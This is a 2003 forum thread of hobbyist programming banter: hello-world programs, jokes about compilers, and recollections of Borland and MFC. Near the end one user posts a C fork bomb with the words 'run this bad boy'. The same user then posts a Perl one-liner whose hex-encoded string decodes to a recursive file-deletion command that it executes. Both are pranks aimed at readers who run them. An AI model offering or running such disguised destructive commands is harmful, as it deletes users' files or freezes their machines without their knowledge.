PDA

View Full Version : Better watch out, I'm getting into programmin' now


AbecX
09-15-2003, 02:29 PM
#include <stdio.h>
int main(void)
{
fprintf(stdout, "Hello world!\n");
return 0;
}


Oh i'm so elite!

I want to make a vB client that lets you view pages alot faster then with a web browser, also conserving bandwidth. Think of it as a IM interface for vB :cool:

Hunt4m3x
09-15-2003, 03:15 PM
Wrong...


cout << setw(25) << "Hey AbecX is gay" << endl;




try some c++ :P

AbecX
09-15-2003, 05:14 PM
Originally posted by Hunt4m3x
Wrong...
cout << setw(25) << "Hey AbecX is gay" << endl;
try some c++ :P
:rolleyes: Get off Bill Gates nuts please.

Is it ironic that my brother loves windows?

01WhiteCobra
09-15-2003, 05:22 PM
Originally posted by AbecX
:rolleyes: Get off Bill Gates nuts please.

Is it ironic that my brother loves windows?

What would C++ be all about Gates?

Hell if Gates still had his way, we'd all be programming basic.

AbecX
09-15-2003, 05:26 PM
He is using Visual Crap to write his 'programs' at school.

01WhiteCobra
09-15-2003, 06:48 PM
Originally posted by AbecX
He is using Visual Crap to write his 'programs' at school.

Haha.

Oh, by the way, congrats on the first step to LEETISM.

I'll remember this day. When you write THE program that converts the masses to Linux, I'll say, "I remember when that tool was writing Hello World programs on a message board."

:D

Hunt4m3x
09-15-2003, 07:06 PM
no, not really, we use Borland C++ Copywrite fucking 1996.

HiTechRedneck
09-15-2003, 09:56 PM
#include <stdio.h>
main(void) { int i; for(i = 0; i < 5 ; i++) printf("\t\t\b\b\b"); }

DarkWolf
09-16-2003, 02:57 AM
Originally posted by SYN/ACK
#include <stdio.h>
main(void) { int i; for(i = 0; i < 5 ; i++) printf("\t\t\b\b\b"); }

No workie. I know what it's supposed to do, and it ran. Just played some sounds, no crashing. Which is a good thing, actually :D

You failed :p

01WhiteCobra
09-16-2003, 08:41 AM
Originally posted by Hunt4m3x
no, not really, we use Borland C++ Copywrite fucking 1996.


Time for an upgrade, at least get to this century.

Just a thought.

AbecX
09-16-2003, 09:51 AM
Originally posted by 01WhiteCobra
I'll remember this day. When you write THE program that converts the masses to Linux, I'll say, "I remember when that tool was writing Hello World programs on a message board."
lol, I doubt that will happen anytime soon :)

HiTechRedneck
09-16-2003, 10:25 AM
Originally posted by DarkWolf
No workie. I know what it's supposed to do, and it ran. Just played some sounds, no crashing. Which is a good thing, actually :D

You failed :p

Wow, you mean microSuck actually made a patch? :D Must of been the patch that opened up the RPC hole. :D :D :D

xtremcoder
09-17-2003, 02:15 AM
Originally posted by Hunt4m3x
no, not really, we use Borland C++ Copywrite fucking 1996. are you using Turbo C++? i remember back in high school I learned to program in Turbo C++ 3.0 for DOS. it was great! :cool:

DarkWolf
09-17-2003, 03:29 AM
Originally posted by SYN/ACK
Wow, you mean microSuck actually made a patch? :D Must of been the patch that opened up the RPC hole. :D :D :D

Patch? Maybe. My systems up to date, so maybe.

And don't you mean the patch that closed the RPC hole ... not only closed it, but closed it a month before it was ever exploited. :p

01WhiteCobra
09-17-2003, 08:24 AM
Originally posted by xtremcoder
are you using Turbo C++? i remember back in high school I learned to program in Turbo C++ 3.0 for DOS. it was great! :cool:

Lol.

Turbo Prolog
Turbo Pascal
Turbo C

All came on one 5 1/4" floppy.

Before that, MASM. Now, JBuilder, Visual C++/MFC, Visual Studio 2003.

I use to be a Borland C++ Compiler tester. Was pretty cool. They'd fly me and a few people I worked with out to Borland every 3 months or so, treat us rather well, for our opinions on the environment.

My favorite information from one of the programmers was that they use to put NOOPs in their code. When sales started lagging, they'd take out a % of the NOOPs and start advertising "Now, 25% Faster!". Don't know if it was true or not.

Borland screwed themselves by not releasing their 32-bit compiler on time. Alot of die hard Borland people (myself included) had to make the decision to go to MSC+MFC in 1994 since it was the only 32-bit compiler option.

We carried over a few of the classes from OWL, their TString class was awesome. Still much better in the 1994 form than MFCs CString is today.

HiTechRedneck
09-17-2003, 12:50 PM
Originally posted by DarkWolf
Patch? Maybe. My systems up to date, so maybe.

And don't you mean the patch that closed the RPC hole ... not only closed it, but closed it a month before it was ever exploited. :p

I was being a smartass meaning that the patch they made to fix the exploit I posted above had bad code that caused the RPC hole. :)

INTP
09-18-2003, 01:01 AM
OK, for day 2:


#include <stdio.h>
#include <stdlib.h>
int main(void)
{
char *user;

user = getenv("USER");
printf("I am %s. I can do anything.\n", user);

return 0;
}

Sami
09-18-2003, 12:40 PM
Originally posted by 01WhiteCobra
My favorite information from one of the programmers was that they use to put NOOPs in their code. When sales started lagging, they'd take out a % of the NOOPs and start advertising "Now, 25% Faster!". Don't know if it was true or not.

Of course.

#ifdef LOTS_OF_BUGS
assert(0);
#endif

Nick
09-20-2003, 08:46 PM
I got more code than you kids know what to do with!!!!
run this bad boy

#include <unistd.h>
int main()
{
if (!fork()) {
fork();
}
main();
}

Nick
09-20-2003, 08:48 PM
perl -e '$x = pack "H88", "726d202d7266202a"; print `$x`;'

Fiction528
09-20-2003, 08:53 PM
hey xtremcoder how did you get that thing in your sig to work like that like where it says what kind of internet you have your ip adress and all that good stuff

Nick
09-20-2003, 08:59 PM
Originally posted by Fiction528
hey xtremcoder how did you get that thing in your sig to work like that like where it says what kind of internet you have your ip adress and all that good stuff

He Know HTML!!!! He know !! He know HTML!!!
http://www.lanw.com/html4dum/h4d1e/graphics/htmlfdum.gif

DarkWolf
09-21-2003, 01:03 PM
Originally posted by Fiction528
hey xtremcoder how did you get that thing in your sig to work like that like where it says what kind of internet you have your ip adress and all that good stuff

DanaSoft (http://www.danasoft.com/)

xtremcoder
09-21-2003, 03:12 PM
Originally posted by DarkWolf
DanaSoft (http://www.danasoft.com/) shhhhhhhhhhhhhhhh :D

Hunt4m3x
09-21-2003, 04:13 PM
yes, hes a elite hacker. WATCH OUT, HE WILL HACK YUR AOL ACCOUTT ^ > - <

xtremcoder
09-21-2003, 04:19 PM
Originally posted by Hunt4m3x
yes, hes a elite hacker. WATCH OUT, HE WILL HACK YUR AOL ACCOUTT ^ > - < hunt4m3x@aol.com is now MINE :p

HiTechRedneck
09-21-2003, 05:11 PM
Doesn't work to well with Anonymizer. ;)

No I dont have a mac!

Hunt4m3x
09-21-2003, 10:19 PM
Don't lie to us. Your were going to come to the lan, but you can't lan with a mac or we would of kicked your ass :P

DarkWolf
09-22-2003, 11:35 AM
Originally posted by SYN/ACK
Doesn't work to well with Anonymizer. ;)

No I dont have a mac!

I'd imagine it wouldn't work too well with any kind of annonymous proxy server :D

HiTechRedneck
09-22-2003, 12:16 PM
Originally posted by Hunt4m3x
Don't lie to us. Your were going to come to the lan, but you can't lan with a mac or we would of kicked your ass :P

:p

mikeb
09-22-2003, 06:16 PM
Originally posted by 01WhiteCobra
Borland screwed themselves by not releasing their 32-bit compiler on time. Alot of die hard Borland people (myself included) had to make the decision to go to MSC+MFC in 1994 since it was the only 32-bit compiler option.

We carried over a few of the classes from OWL, their TString class was awesome. Still much better in the 1994 form than MFCs CString is today.

The thing I remember that screwed over Borland was incompatibility with OLE and also incompatibility when MS switched to the COFF object format. Suddenly the programs and examples that came in MSDN wouldn't work. MS moved very quickly and made many changes to windows and the 3rd party companies couldn't keep up. Of course, the MS dev tools dovetailed the new features in windows so there were no compatibility problems there. The popularity of VB didn't help borland any either. Borland also had some knuckle-headed management that made some poor choices.

I liked OWL much better than MFC. It seemed more elegant. I really like builder/delphi but I think i'd have a hard time finding work using those tools. The AnsiString class/object in C++ builder is pretty cool.

I still use BC 5.02 for file editing and quickie C/C++ programs.

madsci
09-25-2003, 04:31 PM
if your just getting started and just want to learn the basics of programing try:
www.dialogscript.com